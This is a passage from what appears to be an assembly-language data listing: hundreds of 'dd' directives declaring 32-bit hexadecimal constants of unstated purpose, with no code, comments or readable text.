4045F041h dd 2EA30A24h, 0BA5AB000h, 1237C46h, 0DD5B9163h, 317860CDh dd 151C2C24h, 0DD442F64h, 0ED235900h, 199DBDE0h, 2077C0EFh dd 8C5F10C5h, 8B210F9Ah, 50D8AE8Eh, 0AC993C0Eh, 3EC68102h dd 0BEF4C18Fh, 3FFC9041h, 0D920FCB4h, 0E05647B8h, 9502155Dh dd 2B166171h, 7C981CFBh, 4DE4A2h, 47BC5691h, 42FF31AEh dd 3D2F9805h, 0D8A241F5h, 779EFE00h, 0E9D5A9B7h, 26E0D00Eh dd 292A6010h, 5E396F6h, 0F5482C3Eh, 0F0CF10C2h, 4C1228h dd 9509B651h, 0BC7BEB20h, 0DA585400h, 0D31D5E2Fh, 0DD9F1232h dd 42B0488Ah, 0FDC0D880h, 9C7803ACh, 0DCC17074h, 20AA612Ch dd 8E86D01Fh, 9640E1D2h, 0C52FC024h, 0F200F130h, 93D7C407h dd 845723h, 0D40DB93Ah, 0DAD5C1A9h, 50266F11h, 0FE8A1200h dd 6B53E252h, 51A2AA00h, 45ED2C72h, 25D8A43Ah, 2CA328D2h dd 717C300Eh, 35648F14h, 53941340h, 44F85088h, 1D5C91AEh dd 0A87C03D0h, 0CCA94A53h, 9F0004A2h, 5FD02FC2h, 0C1003628h dd 25D10BD4h, 0B585F8h, 0E7A1338Fh, 2187D5FFh, 3AEC50BAh dd 40C7BBE8h, 64C990ACh, 0A67B54h, 8F38378Dh, 0A4F89C46h dd 0FA747F09h, 94B021F5h, 146DA544h, 10AB34C0h, 0FC769C51h dd 7C42CA00h, 0E12F29CFh, 98A424h, 2B3507B7h, 9991A1ACh dd 0E300EEEAh, 0DA87F544h, 4B60A8E7h, 495C239Ah, 53EE05F0h dd 26B75A0Fh, 59386123h, 70323ED0h, 0BAD88706h, 0AD00897Ch dd 415C3A6Ah, 5263F178h, 0D600A4F3h, 64D5B87Ch, 263C1672h dd 0EC064EFDh, 271AA47h, 46673509h, 3C521D52h, 560A3Ah dd 41500336h, 3F3DC6h, 0D7C7913Ch, 6D492E17h, 190D8BFh dd 38C6D636h, 2815574Ch, 4A858F4h, 0A7B3F4D2h, 9D7FAC00h dd 8C980E9Eh, 903F822Fh, 149BDAF0h, 87FF6C3h, 0CD982B01h dd 60D4D671h, 0B88AC90h, 3C480292h, 36EADFE8h, 2E96C498h dd 9A39CCF4h, 12C4008Ah, 7795D7F3h, 0B77E0023h, 0BFF1791Fh dd 0C61D890Bh, 0E2C07B1Ah, 1695C5F5h, 9A693042h, 116F2346h dd 0E4FBB318h, 7BB2C20h, 0F04F400Eh, 60C020D1h, 2500F94Dh dd 82958499h, 0DD49C3h, 0CE5F617h, 32E2FBC5h, 6B094D01h dd 375CA4C4h, 983BF643h, 6119291Ah, 48EE78DEh, 0AC318C5Dh dd 172B71D3h, 1C7594EBh, 0CD7A809Bh, 0FFBB67C6h, 0CC633700h dd 0CFA6EF62h, 0D37B0144h, 7F70D6F7h, 0E5488CF6h, 0B75105h dd 0E61684DFh, 0AE104EFEh, 9A0EA6E8h, 0A65B270Ch, 4040290Ah dd 0E9886701h, 0FD812A1Ah, 5EEE1A8Ch, 4E4051F8h, 7000C77h dd 6A7DBF25h, 77D486AFh, 0F520C081h, 0B481120h, 717D30C0h dd 6E17236h, 0CF75D694h, 1A44A1F5h, 93CA01B9h, 8FC3BD62h dd 9E0CB7Eh, 0D602C0B1h, 0D5440AC8h, 5C4482F9h, 561A230Eh dd 9B0A717Ch, 9C72AD7Eh, 11AC0A03h, 0DF6900C6h, 0A69F3569h dd 0BFCDDE7h, 42F750C8h, 7D111A4Bh, 0F6410C51h, 0F9689510h dd 0FEEB9400h, 8B07F079h, 0AD7C1Eh, 0AE48CD8h, 967D01C5h dd 0C964D618h, 0A48ED379h, 0AA6DF888h, 0B794300Ch, 0C27630CEh dd 0E625A811h, 0EB7980E1h, 51CC90F6h, 7E093B82h, 64C8424h dd 0A9E4D80Ah, 0B05E2101h, 4A5C33Bh, 19D6F3h, 92FE1328h dd 0CA83CEADh, 0E0D831C6h, 1F81EC21h, 0FE2D7154h, 5FBBC700h dd 52701341h, 0C95E9C1Fh, 6F088680h, 794B792Dh, 7E1A185Dh dd 0D4FF41FAh, 0FD068E07h, 11338CD6h, 71E100D0h, 77840CF8h dd 520031E5h, 0E985E13Fh, 1BDCA7Eh, 441EEDC2h, 20EA227Ah dd 0AC30DE94h, 0DC08A1D2h, 48A51F68h, 2D598049h, 34D1DFEh dd 4C1E0200h, 0CCD799C7h, 1364A0DAh, 46910030h, 0A18E023Ch dd 270207C4h, 486CDB31h, 0C03AC017h, 0D9BA0BF4h, 438725F5h dd 0EB9B71C5h, 0C0B45419h, 5EC79013h, 7969A100h, 0DBFB5CBh dd 9983FBAEh, 17073437h, 0ABCD1F80h, 18842000h, 0CF44A90Fh dd 0BC8202A3h, 0EDD89680h, 27F8F220h, 8E0A097Ch, 348043D0h dd 0E5FFB8F1h, 9F780283h, 0BEA81240h, 0A4828483h, 0EB1620C7h dd 6E68422h, 0A01129C1h, 98EF6A0Dh, 733D35h, 302CAD55h dd 70768971h, 0D4988F09h, 262C1074h, 48A84CF4h, 0B440CB15h dd 6F3EDA00h, 0C3EEB1CEh, 0D320E890h, 7CB016C2h, 0FA1B0C3Fh dd 0CA003DF1h, 0B7BFE518h, 0E05CD3h, 861B8399h, 0A7BC60B2h dd 9E42EB00h, 0AE046F20h, 139C0FDh, 40F8196Ah, 73D49501h dd 3E5F910h, 311BC985h, 327BC03Ch, 45EA8B06h, 9D59EB18h dd 3DA90921h, 0D68A7DACh, 8A94E373h, 30ADF4h, 0FE326D96h dd 0EB302647h, 878F3907h dd 0EC397759h, 689C002Dh, 28CD0361h, 0BC00D3A5h, 0F69878EAh dd 0C03FD894h, 0A4839B59h, 251B7572h, 0E1612A1Bh, 0ACECD484h dd 9998E899h, 0A4D61EFCh, 207764E0h, 60E8A122h, 86CB8904h dd 0A400D729h, 327970F0h, 0E0AC5BCEh, 14DB0E85h, 63A70478h dd 7D0CC0D0h, 84002537h, 72C6CB69h, 3820A32Ah, 1D01DC79h dd 8294DE4Fh, 0DF03F476h, 8DD3F60Dh, 344C91F9h, 1662004Fh dd 0EE513C60h, 2C00E9C0h, 483AB1A3h, 34E63E99h, 8C6803BCh dd 5C01BD2Ch, 3FC6232Fh, 0E8314919h, 0F01B7BD4h, 48E35893h dd 788C3292h, 0AC084619h, 6291CF60h, 8D4188h, 0E38A1006h dd 43D1587Dh, 1CB243Ah, 0CEA1ECCFh, 31ACE782h, 0DC4601CDh dd 525DEB22h, 50197E34h, 0BD0F7608h, 0F8AE82F0h, 8F2B41h dd 464A2BEh, 2C08C3E7h, 31F0F851h, 84C82034h, 0C25B1B07h dd 41CEF20Fh, 2581CEABh, 0CEEB4042h, 0A14AF068h, 42E68E08h dd 0B3C88178h, 820FCF1h, 0A8C95246h, 0A9F6D818h, 9607B0F3h dd 0AD94EF7Eh, 4081FFD5h, 0A45114D7h, 0BF21CD54h, 5CF9FCh dd 0BA015708h, 1BFA4BCCh, 0CA111D12h, 0A00A2C4Fh, 9C55FEA5h dd 7EA13AB1h, 934B7A80h, 587375C1h, 8109D316h, 0C9D4740Dh dd 38533C8h, 0FC5646C7h, 0D6E8C09Ch, 0EF07E73Ch, 8E739B6Ah dd 0CEDAB693h, 0C7D700B1h, 9F5C0CB4h, 2A3BE542h, 4E838FC0h dd 28D9E086h, 30250260h, 0A799CB11h, 15E817BAh, 1D7EAB0Ch dd 1FF419DEh, 1371E174h, 4A280FF3h, 0DA52229Fh, 9E3D0090h dd 145491A5h, 0DE713F90h, 0C0440CCh, 0C0FB15h, 4DC12395h dd 0BCAB48D7h, 0A0BF9B1Fh, 4C47AD3Fh, 31B0C0C4h, 67CF222h dd 9C278C51h, 0C0443084h, 9AE0245h, 0B27B8296h, 0AB07C6Bh dd 12001F3Fh, 7E3E47B9h, 9ACD298Dh, 0D11C3084h, 84A474B9h dd 6ABC9113h, 8245EC00h, 43DCEB72h, 7E220094h, 170A9DDEh dd 10C7CB7h, 0C26465A2h, 9DA8031Eh, 0C0E28D90h, 359B1810h dd 10B0968Ah, 255E744h, 2EE06DD5h, 8C401536h, 0C70EBBC4h dd 403D3A3Fh, 7C2A2F4Dh, 957D1603h, 0B4F877DDh, 83E948C0h dd 0D5381386h, 6B2D8EB0h, 9CB71D00h, 81E120F4h, 4C455226h dd 4CB6B400h, 0C95A1A0Dh, 1070534Ch, 820FF636h, 100533BFh dd 4E7C409Fh, 0E8AB1A7Bh, 0B0E1BE01h, 2A76AF22h, 94704821h dd 6E1C001Dh, 0E82E80ADh, 0D109C48Dh, 4945EB1Fh, 0A832AC44h dd 0F929FE00h, 2C76FC6Dh, 98B75E0Fh, 0FB22408Eh, 0D7E34E18h dd 0C0842198h, 83C1F8DEh, 94C5F100h, 0C14EBABh, 3D2D00D2h dd 0C975B47Bh, 76017E1Eh, 0F6E68921h, 798002E5h, 0AE114135h dd 967E2843h, 0CF190F6Eh, 0C6DB408Ah, 2D83574h, 0DE46447h dd 74E4811Ch, 4CFFD3E0h, 0D6022A9Ch, 79642545h, 0E054C143h dd 0A88F6810h, 0F66B990Ch, 195B845h, 0C4A31940h, 20D6EC6Dh dd 0A188EA24h, 0DEBB00F8h, 0E773520Fh, 0C31D12F6h, 6F814D2Ch dd 2FF48E56h, 0DC045461h, 58D680C8h, 7D808C79h, 0B6609A0Bh dd 4B4BE8B2h, 0C6D82029h, 0F4300D8h, 0C5FA31E1h, 0E900B5FDh dd 7D91B65Dh, 2517AEh, 11C21F82h, 0D493D115h, 8EA89A48h dd 84089720h, 3FF98EFEh, 0E32CCCC0h, 32071926h, 0CB5BC584h dd 0F420E695h, 419518h, 79C1FED3h, 3BF0D1B2h, 0BF437002h dd 60A08ECEh, 88F759C0h, 1F0A861Ah, 0A0B172D3h, 74D5ACC3h dd 6FF0079h, 0AEA64E76h, 33025A4Bh, 0AF147ADDh, 0B1D098CEh dd 58E35892h, 0C890FA22h, 0D94EE703h, 22AD04A4h, 0F407D0D1h dd 0BBB8C69Ch, 0BE954D30h, 36EE07DEh, 81A5D7A7h, 72E8B7A8h dd 75480060h, 86C8DD7Eh, 993C9826h, 1C250580h, 0C0CC40C5h dd 3B8DD9A6h, 55171EE8h, 940EAC62h, 1894E7h, 0B2B0D777h dd 73AF68E3h, 9E2F0018h, 37468395h, 1252558h, 0A41430E6h dd 83D380C9h, 0D364F758h, 41C09434h, 930E6A6Fh, 89CB00DCh dd 3E1ABD49h, 63BA9000h, 0E6151012h, 0B4D65464h, 6FF288FCh dd 108CFB00h, 2BB19F43h, 513B1FE1h, 0A45170D8h, 6D00AFAEh dd 0C8488C06h, 120BA75Dh, 45B5407Ah, 0CA114544h, 1DE83D10h dd 80FA6297h, 9971E0A9h, 13CA7BEh, 0C3BFB72h, 38AB8E84h dd 0B19600B8h, 0D61A6A3Fh, 0A2B4E75h, 40C4E424h, 901219C8h dd 133B0698h, 2877CE14h, 0ED1C4E50h, 4C7D0446h, 8034F001h dd 7E20AB20h, 0A1451B25h, 0FD489B94h, 1B06DC20h, 19E8821Ch dd 0C0A0CCB2h, 0D4283D77h, 0D83B5B0Dh, 34E421EEh, 23890292h dd 0DEB3F8EAh, 77A5A4E0h, 0D0B7DB28h, 348ED324h, 0BC60A048h dd 9FB3337h, 0B85C8DD2h, 1500D85h, 2A1AE7DCh, 0E69B10E9h dd 32D1CE0Dh, 3F8A9D00h, 0BC009A85h, 60992096h, 53F8ABC2h dd 0C600E0FBh, 0B31502B6h, 0EE0444AAh, 53A48C03h, 0F5411481h dd 76D5FC10h, 2011DA60h, 39F3945Ch, 0EB0D953Ah, 0E1291247h dd 9101F3D8h, 2C426482h, 0D89363AEh, 0AB443770h, 7907D810h dd 8586E509h, 0D0E0845Dh, 58551C40h, 4200EB5Eh, 86B4A105h dd 7CF95903h, 0D6960CD9h, 3251DD71h, 247C8F2Ch, 0FC36123Ah dd 9120CCh, 0B168AB13h, 0D606526Fh, 39DE7033h, 80E2CCE9h dd 77E5BE00h, 95FC01F7h, 1BEB1301h, 0C2112023h, 0A2C93180h dd 0E6BC2CC8h, 41AD4827h, 1BC8B69Ch, 0C4E05329h, 270E1822h dd 200CD7EEh, 8B1BDC10h, 7F1C0E8Dh, 5C8C2032h, 8F7C8259h dd 0F7D0C01h, 35F1485h, 0DF60A835h, 2240900Dh, 9501F656h dd 18EDAF5Eh, 7832ADFCh, 0E250B00h, 1C62EF21h, 0E5003174h dd 0D7877A6Eh, 3A209F82h, 7CCCD425h, 674F04DDh, 44D4E047h dd 60E35828h, 70110444h, 0CDB500C6h, 0ED56540Dh, 0EA00C8F0h dd 0E660E1F2h, 79C15D8Dh, 1220626h, 61C6AD81h, 8B1248E0h dd 0CC20343Fh, 80F6B770h, 6E881BE5h, 0C8F10024h, 0C7BDE852h dd 0AA07645Ch, 9748353Bh, 0CA86C20h, 0AF230A5Eh, 1D4CEB84h dd 26C780D5h, 0A8FA11F9h, 0C9DE5400h, 958F59CEh, 0D8981530h dd 0A3998FCh, 0C29B3BF9h, 47EB741Dh, 53E5907Eh, 51091C48h dd 1111B495h, 0B3E878E0h, 0C330E9Ch, 2B05641Fh, 38C488DAh dd 0A6485F00h, 87DCB47Eh, 7DF00115h, 9642B7F9h, 0AE53E427h dd 0A8568528h, 0D780B8B1h, 931FDC65h, 66240715h, 90783284h dd 0BE8DB97Fh, 71E8A414h, 29B10348h, 0E0E0CE5Eh, 40BA90Dh dd 0AB894699h, 0A62CE411h, 65E09101h, 685ADE3h, 0B0200AD0h dd 52F64494h, 54A04512h, 0D489001Ch, 0D8181176h, 1F71606Dh dd 0C09921B5h, 0A8444528h, 26010A7Eh, 0B141470Ch, 71A4D311h dd 0A309005Fh, 0AADA5DAh, 3555DCFDh, 75098C7Ah, 83B7D5B2h dd 97A482BBh, 7E1B9000h, 408494E5h, 470113FDh, 77AABA00h dd 23AC031Fh, 0CF8328D4h, 72EF444Ch, 80C7FA3Fh, 0D278CA12h dd 539E7FDFh, 707D413h, 10365744h, 62EB102Dh, 39845899h dd 3488E684h, 2A7900C4h, 92F4A18h, 0C3002835h, 0BECC6F4Eh dd 61420C99h, 0EEC581ADh, 0EA43D47h, 0F3C3D695h, 0C958C8h dd 39CE482Fh, 0BDFE7E9Fh, 0DE587A7Ch, 844848B4h, 44C08EE9h dd 0A801AD82h, 120680h, 0B03AE3EDh, 0CC144BA0h, 60CAD22Eh dd 0E58F6901h, 4180C711h, 775697ADh, 9C0283B0h, 6EF3F819h dd 7C84DA12h, 3E4D309Ah, 0D0FDBC92h, 64E55707h, 0E0617E2Ah dd 6FFC9032h, 4A872415h, 829505F0h, 0C32182FFh, 0BE23D048h dd 3455292Eh, 440E8409h, 2E750734h, 709EA40Ah, 1F1DF388h dd 2FE6FF1Eh, 20CA5ACEh, 0EB920ED3h, 47AC4B5Eh, 0C31EECE0h dd 0F1180680h, 0B551EBD8h dd 26960115h, 95302301h, 0F1D9C0A3h, 6EFA8201h, 0ACC79E7Ch dd 929448h, 798AF62Dh, 80EB4B44h, 0AB464A00h, 8CD30201h dd 251491D6h, 0F03398A0h, 939ABD9h, 0FE1300FFh, 0C0C732B6h dd 11532F4Eh, 1E343C2Ah, 7E9EC372h, 0B80942ADh, 8F96AC0Ah dd 0D8642734h, 995402CBh, 0A4E50502h, 0C7007518h, 0AE6E2B2Dh dd 0B0DBBBD8h, 0CC933DCFh, 9EC9F83h, 0ACEB656Ah, 2394022h dd 0C83ECC82h, 0F48157ECh, 41E1FF63h, 3DA9019Ch, 0C9153294h dd 7100441Ch, 444600F2h, 0B73975CCh, 96647E82h, 1D0517A0h dd 0F760DCF8h, 0A8176977h, 8F032362h, 0F857B593h, 18D32CACh dd 7889FF5Ch, 6682C47Eh, 0D64900B4h, 0B8090F22h, 0AF00BD0Bh dd 254C441Fh, 18A42903h, 796AFF40h, 0D9C0F749h, 0B0068CBDh dd 866E004Fh, 34D8767Eh, 30C4A3D6h, 4D0875D2h, 0F386A440h dd 888E28C0h, 0AF172684h, 30FF0CECh, 0B0888998h, 0C16F2A5Dh dd 11350050h, 0DDBF09D2h, 270CCED8h, 9A984825h, 3C7B741Ah dd 0C48D30Ch, 9216AEB0h, 0EE4CD700h, 907BE542h, 0F094381Fh dd 0A8342794h, 0FD20BD20h, 83D314F5h, 0EC5824D2h, 8A3EC39Eh dd 0A3F8BFCBh, 3A0572CDh, 0A164E3C8h, 8B1D80F0h, 0D440E804h dd 0A8A2A935h, 52037A00h, 85DB3EAh, 562DB200h, 7DEE181Ah dd 4E050276h, 0FA5F81D4h, 4058A806h, 99CBB92Eh, 0B47C10E5h dd 0F06703CFh, 8124336Ch, 0ED10F4A0h, 123B9E72h, 48C6263Eh dd 5B728260h, 49D46011h, 0B8A0F0F1h, 0C9CD341Dh, 0B7588380h dd 49E6BFFEh, 0B1028422h, 0D7FDEC64h, 0A6005CC4h, 7E2C6704h dd 1935392h, 43EF2745h, 0D976B4B3h, 87146C74h, 0F88072AEh dd 7E795DDBh, 0F0D750D8h, 48C05F65h, 6940E9C0h, 2F436EBDh dd 709298D4h, 0A9448870h, 0EB9E2E3Ah, 342B40E8h, 0B1341840h dd 74C8581Bh, 0C120609Dh, 4C6FD9C8h, 0A750B901h, 474E706Bh dd 0C7AF1087h, 4F863E73h, 0A2F82051h, 91B7A71Fh, 1FFB721Ch dd 30F0CE84h, 75FD4389h, 279900C5h, 651482D6h, 53030EA4h dd 0B21981CAh, 0D2A288CDh, 256A0C07h, 0B0684190h, 61674830h dd 0FD5A01h, 27E66FA2h, 29AFBE33h, 5E91C001h, 0CB85A7B1h dd 42997180h, 6E0DB2D7h, 15AA3Bh, 198CB1C8h, 0B52475h dd 68F09A2Fh, 9B76AF0Ah, 0EABDA601h, 6D3A1F54h, 0E635F187h dd 5B0C92F0h, 449975E0h, 6090BB64h, 7B4EB242h, 0FCDCCCE1h dd 4F00D196h, 8A947F5Ch, 1EF11AACh, 5AA01Fh, 4AEF67E0h dd 7803B61Eh, 4953F8E5h, 0A349006Ah, 2012076Fh, 40C1BE8h dd 0A822AECDh, 76B20C32h, 4C28BCD0h, 0F4DCA100h, 0FC45BF58h dd 18A5638Ch, 0F900CF85h, 49C154CBh, 7455D237h, 45660171h dd 856C646Bh, 0C4E0BD7Bh, 30821D79h, 0F2A4001Dh, 0E3C7F3BDh dd 0D458A300h, 0EDF0755Ah, 9D68007Ch, 4C5DDF60h, 0DD30C81Ch dd 0E77F4140h, 9B262825h, 7237308Ch, 1E29D219h, 584E8900h dd 46810C86h, 0E3C738Dh, 0E693EE35h, 9040D664h, 0D5C7EC24h dd 0C9BF241Dh, 3B881A00h, 7B9302h, 13E4BEDAh, 457D6B97h dd 76B031C1h, 8850BFE9h, 1F5E716Ch, 0C1B21B10h, 8CD1C8F4h dd 0C888BF4Eh, 80C0CE08h, 0F67D052h, 797A0081h, 7D5EE327h dd 0E70FC918h, 0A73D7674h, 6AE66872h, 64482AF0h, 1E3C00D0h dd 51425CB8h, 5812991Fh, 8C203A0Eh, 1676088h, 73B309CCh dd 0A235FC3Fh, 0C1714039h, 59A0F100h, 0C794DF31h, 0D5F5008Eh dd 37309860h, 107CD84Dh, 44D07200h, 0A75D17B7h, 0FD890096h dd 0EA1E03FAh, 0C8293CBBh, 0F131C0C5h, 11A834C0h, 38F244B8h dd 0A1D1CA00h, 9EA89C29h, 23920CD9h, 0B9213B6Ah, 3FB8B548h dd 0EDE386AAh, 1819BCD6h, 0C168EE45h, 560067ECh, 95341A85h dd 0B8571BC7h, 0F8930CB8h, 76794227h, 0C8F7E522h, 0ED444190h dd 216B20C2h, 57F1CE76h, 488C4814h, 0A817131h, 4D7F1EB6h dd 42D60C40h, 0BBF4EB29h, 940719F2h, 9D63985Ch, 7B0F8580h dd 0D2A90171h, 2A14A83Ah, 0EC5C2460h, 76A4B550h, 79C7C5FCh dd 80883A19h, 8C29300Fh, 887D04A4h, 0D0BF0A7Dh, 0D64C18F4h dd 0D9127957h, 691DD400h, 0B2B427A4h, 0C03B64EAh, 0F2A74019h dd 245B243Eh, 4054D485h, 0A34A05EDh, 7189539h, 7992C69h dd 0F0942713h, 297734FCh, 8889ED0h, 7B8740DEh, 0FC728317h dd 80744AD3h, 0EC6BB54Ch, 707F097Ch, 0C82A29Bh, 6CA4C1EAh dd 99AF406Ah, 97F27Ah, 0E6AE41BCh, 8A303C93h, 1C4FC900h dd 2720CFA0h, 256B1A40h, 6C4CB110h, 0FB81C003h, 0D072D15Dh dd 0A814EEh, 8C8A4CA5h, 5C7D8B7Ah, 857C8F14h, 8E1C80E8h dd 3DC0E416h, 206A0DEh, 515D4927h, 320EE130h, 0AD1D98h dd 117E8BD6h, 5BB8AE27h, 7406BE79h, 0C98543AFh, 1D930F51h dd 60E17FCh, 69CD0960h, 0E41F9836h, 0CBC4C2D4h, 1488F640h dd 2CE2F681h, 144C5B46h, 121C3C48h, 1F69AC4Ch, 0B104000Bh dd 69FC3D10h, 0D550E400h, 7EC1CCDh, 79F46084h, 62D738F5h dd 4D16B000h, 0FD396920h, 3050D250h, 0EB42B708h, 432AE900h dd 7CF2D213h, 8054B1F4h, 0DA84EAE6h, 0B41CE8ABh, 77400A3Bh dd 4320E77Ah, 295E6048h, 0C471EEF3h, 0C1946100h, 679E988Ah dd 5EE71FB0h, 66800006h, 1CA0E9AEh, 877ACF02h, 64D6DBCEh dd 9ACC2C00h, 486B0F31h, 3726E455h, 93A40F0h, 0DA12A6B6h dd 700DFF1h, 8F442DA4h, 0E45806E0h, 0F9F6857Ah, 0BF9E1101h dd 9F969264h, 44D8DC20h, 1F2CA775h, 0EA608C01h, 4A5E5CBh dd 5439EDD1h, 92482D0h, 0B0C74522h, 0C8405ACCh, 84807399h dd 4E1D29FDh, 92F9076Dh, 0A0BBF543h, 15EE8A4Ah, 95BA6E04h dd 0A882689Dh, 0AFA7205Dh, 8E06A9BDh, 18B15553h, 49149259h dd 0A6248C77h, 0A39303D0h, 8CF407DCh, 4D7FE9E4h, 6F920D03h dd 0CA3A257Bh, 0F2A4A04Fh, 7658B0h, 39BD1964h, 3E40FF43h dd 0D91C7E07h, 3C635565h, 0C5C9A177h, 0E9216833h, 0C780DA90h dd 7BAF3FA7h, 0F0CEED00h, 904DAD71h, 1F740076h, 0F69A4F85h dd 0EF03884Ah, 0BB2292E2h, 0D20A689h, 8E799106h, 0A449E008h dd 2800E9F2h, 5563B9D6h, 0C05B7B6Dh, 3BC47529h, 150009CEh dd 5895D0F9h, 607BD8C3h, 5AC94187h, 60001E84h, 7A963945h dd 18AC8Eh, 0A6486CFEh, 0CDC55F20h, 3064B45Ch, 44DD595Dh dd 0D9E0ECh, 0A6C6DF2Bh, 64B81307h, 0B6025376h, 3769D6EFh dd 0F72E379h, 138B1468h, 6512F880h, 69302341h, 58E5D184h dd 0C4C50EC6h, 0F860AB9Bh, 0F2C2C824h, 46F5FC1Ch, 9A938C3Fh dd 607831F4h, 0C5D88940h, 700798Fh, 97575E93h, 9C3DC19h dd 0A9D54EEBh, 4740DB0Ch, 0B09FF92Ah, 2F1A7714h, 808688A4h dd 0E14E9E2Ah, 0D0F6844Fh, 34BDC900h, 0A3131AFEh, 39FA3B16h dd 102F18Ah, 7B8C1148h, 6F13473Eh, 0F5DC0148h, 0F3C8EE59h dd 61366079h, 1F051CA9h, 2FCF9214h, 0BEFC011Ch, 88796177h dd 0F2EC2980h, 42B72D0h, 809C3C3Ch, 59016C1Eh, 2431EE6Ah dd 198640Dh, 887BA11Dh, 92C99176h, 438AD200h, 496E1E4Bh dd 28BBEB09h, 0E0050E52h, 0FCBAF007h, 0AD5C3B37h, 0C7D5B1E0h dd 0C90AABA2h, 0CAC963Fh, 5FD0073Ah, 0F9A0B2F8h, 0DCDD323h dd 0F34E6A88h, 1E27C2F0h, 4C0C059Fh, 5CE4B027h, 1401185Ah dd 8F5978A6h, 1F68C819h, 0BA1CF6C7h, 0BE1F6E60h, 0A1370781h dd 0E6C391A3h, 9310A8F8h, 6069985h, 0E975F686h, 0D0427D03h dd 0AE2F841h, 0F2811E79h, 0D7C28110h, 117F1141h, 0FC4B0177h dd 4E135100h, 636B1F50h dd 47625907h, 0CA006E38h, 90ABB0E5h, 9C20532Fh, 0EE514F30h dd 0B0000382h, 56917D06h, 0CF32B95h, 0CA7B86D7h, 93149669h dd 609CCCh, 0FEA0A50Fh, 1BBF00Bh, 0A1156B4Dh, 837BDB81h dd 5A41491h, 0F3C0A7E8h, 48C8936Ch, 0F8CE3483h, 0D5A40011h dd 5A30797h, 0B7A81404h, 0F580B07Bh, 0F8B2BCD1h, 5462C00Fh dd 0A556077h, 1197ABEh, 0C6F7DF7h, 8C90F381h, 0D949AD79h dd 284B002Ch, 0A32B479Bh, 0F0483BABh, 923300C4h, 0FD9FBF6Ah dd 0A14C00EAh, 77149794h, 0C20745D1h, 8772B6A9h, 7CC51DC1h dd 54CD86C0h, 0E8AB6C30h, 1530CF6Ah, 98A08C1Ch, 7F1E1318h dd 4C1F840Ch, 0FF6B2840h, 1A1F71BCh, 9973FA47h, 3B3E1846h dd 3FC380E7h, 6D48F0B2h, 0A88F1F55h, 11CC64FEh, 0C4861D98h dd 0B4804068h, 109390Ch, 10AD3A95h, 27DE58h, 0E9EA2A51h dd 0EE613B0Eh, 142BE226h, 4E0D7111h, 431EBADh, 4A0C00A6h dd 73689FF7h, 4F425490h, 0EF80F021h, 6BCD5AA8h, 421C09Bh dd 0B19D3B52h, 0E1002B72h, 1BEFFC59h, 24920EFEh, 40A07B9Ah dd 94DE44A7h, 4EAC0218h, 1F19EC81h, 5525E0Ah, 18EFFFh dd 0A93A6C6Ch, 44A08C6Bh, 14898FDEh, 4C077CDCh, 0AC01BDF4h dd 63F00552h, 0E54C35D8h, 3761804Fh, 54060DCAh, 0F870EBB5h dd 1EC10458h, 80D8F044h, 1F906CACh, 8094A63Ch, 8E9C15B5h dd 504BA193h, 0B3879h, 0CA5D1BD6h, 3DB319BDh, 960EB170h dd 8494BC15h, 1D5E71ADh, 31E40060h, 6C062832h, 70503307h dd 0CCA17267h, 8BE59418h, 885BFC30h, 0E300EC4Ah, 0BD4BA83Fh dd 24692BFDh, 8B8F0B5h, 0AE82909Bh, 1A6158Ah, 0F7680C65h dd 7863C3C0h, 0A50E54A0h, 69D7F600h, 2CA7D123h, 96582471h dd 0C21E804Ch, 48EF1020h, 0FC78A129h, 62F56800h, 3E6B1A2Fh dd 84B09504h, 3556F951h, 1C5F2C16h, 2124A00h, 14BDAABAh dd 0A0D5468Dh, 91ADF87Bh, 1FD4006Ch, 0E8A01718h, 0B00F8F2h dd 0CD6D9525h, 42DDA58h, 0B9F01AE4h, 8488D1FBh, 206385h dd 67CD10F5h, 0A6181Ah, 0A352AB39h, 8A08E14Dh, 7B78A5E8h dd 0C029F400h, 4F0A2C43h, 0E875901Ch, 0BAB3C36h, 1600413Eh dd 0BF1EA0FDh, 0F57DB5EDh, 31305630h, 0D4347Bh, 48C020F6h dd 649C5A6Eh, 5B686000h, 50B5808Ah, 85EE0013h, 0F5D1379Eh dd 900165ACh, 414EAEA3h, 3446A931h, 0DBA00F28h, 8C3E3F52h dd 0A184942h, 56C3E100h, 3AE87539h, 0AEEF00AAh, 5C1D4DB6h dd 0D90E584Eh, 4104EE33h, 0C3294F1Bh, 0AFA100FBh, 78C84BB6h dd 0EC3DFC26h, 8C510601h, 32202F18h, 44102741h, 308E3D10h dd 0BC4040B5h, 0CA13AB4h, 904841A6h, 598BE880h, 0DE02E501h dd 0DB13228h, 8B0C983h, 8064E89h, 8B434CE6h, 656C0051h dd 7CF8A9D4h, 0E00C94B5h, 39225776h, 0A3E71D42h, 0CA518670h dd 8E0140BBh, 0C274AB40h, 37317553h, 25575401h, 0FD9398Eh dd 337AD020h, 613F6ADAh, 8BD58006h, 29BDB05Ah, 883F54C2h dd 41BFEB28h, 19A70400h, 3C6048E2h, 0F3D8961Dh, 45235180h dd 615AF29h, 1EA83156h, 37F46842h, 0A1493D61h, 81801154h dd 0ED4204C0h, 0F7009194h, 0DF7B6FE4h, 28FAB9Ch, 0EEAA4DA0h dd 1C415CB5h, 7C46104Ah, 10C200E7h, 5B74DCE3h, 0CF14AB2Dh dd 18E05645h, 0AD692B7Ah, 0A3C81F68h, 2308126Dh, 0A0201954h dd 4D4E20ABh, 0C3BCAA0Ch, 6054E130h, 6AEBA110h, 3E06AFA4h dd 8D3DFB93h, 0ED0A0331h, 0EEF5C85Ah, 0AE90C287h, 2BEFD4A1h dd 0B8498B3Bh, 8A0B030Ch, 0E436D864h, 0FAE646h, 1279BDC0h dd 962C5EFCh, 1758DB01h, 568A4E8Bh, 45987CA0h, 0BC93DA40h dd 78F7B488h, 0E54FC00h, 360C3CA2h, 0A0750013h, 38ACBF1Fh dd 4C7AA6F9h, 21C3D406h, 22E8CF29h, 0FD7843DAh, 0B4E0B045h dd 34A049EFh, 7C315380h, 3301F632h, 0F6E59B3h, 0C3FCAB4Fh dd 0A90A1977h, 108A304Eh, 720DDDh, 8864899h, 0EA06C56Eh dd 6000C4A2h, 1EAA6DA0h, 0A23C141Bh, 0F8FFE189h, 7C5A8AF8h dd 558E2422h, 5EEF85BCh, 0C8E8487Eh, 0E628203Fh, 75B9C034h dd 0A7406465h, 2B091314h, 0F8398090h, 6093FFh, 0F7CF5BAAh dd 0DF9CF264h, 54C56C5Ch, 0CE64A96Ch, 1C405D58h, 10628A2Ah dd 8C0F562Ah, 46ECBA0Eh, 0DF8899D2h, 6CBCF807h, 764290Ah dd 0DADCB592h, 90328710h, 34A183F7h, 0A34C94Ch, 843756F8h dd 0F66EB8Fh, 6C678086h, 7821A7D7h, 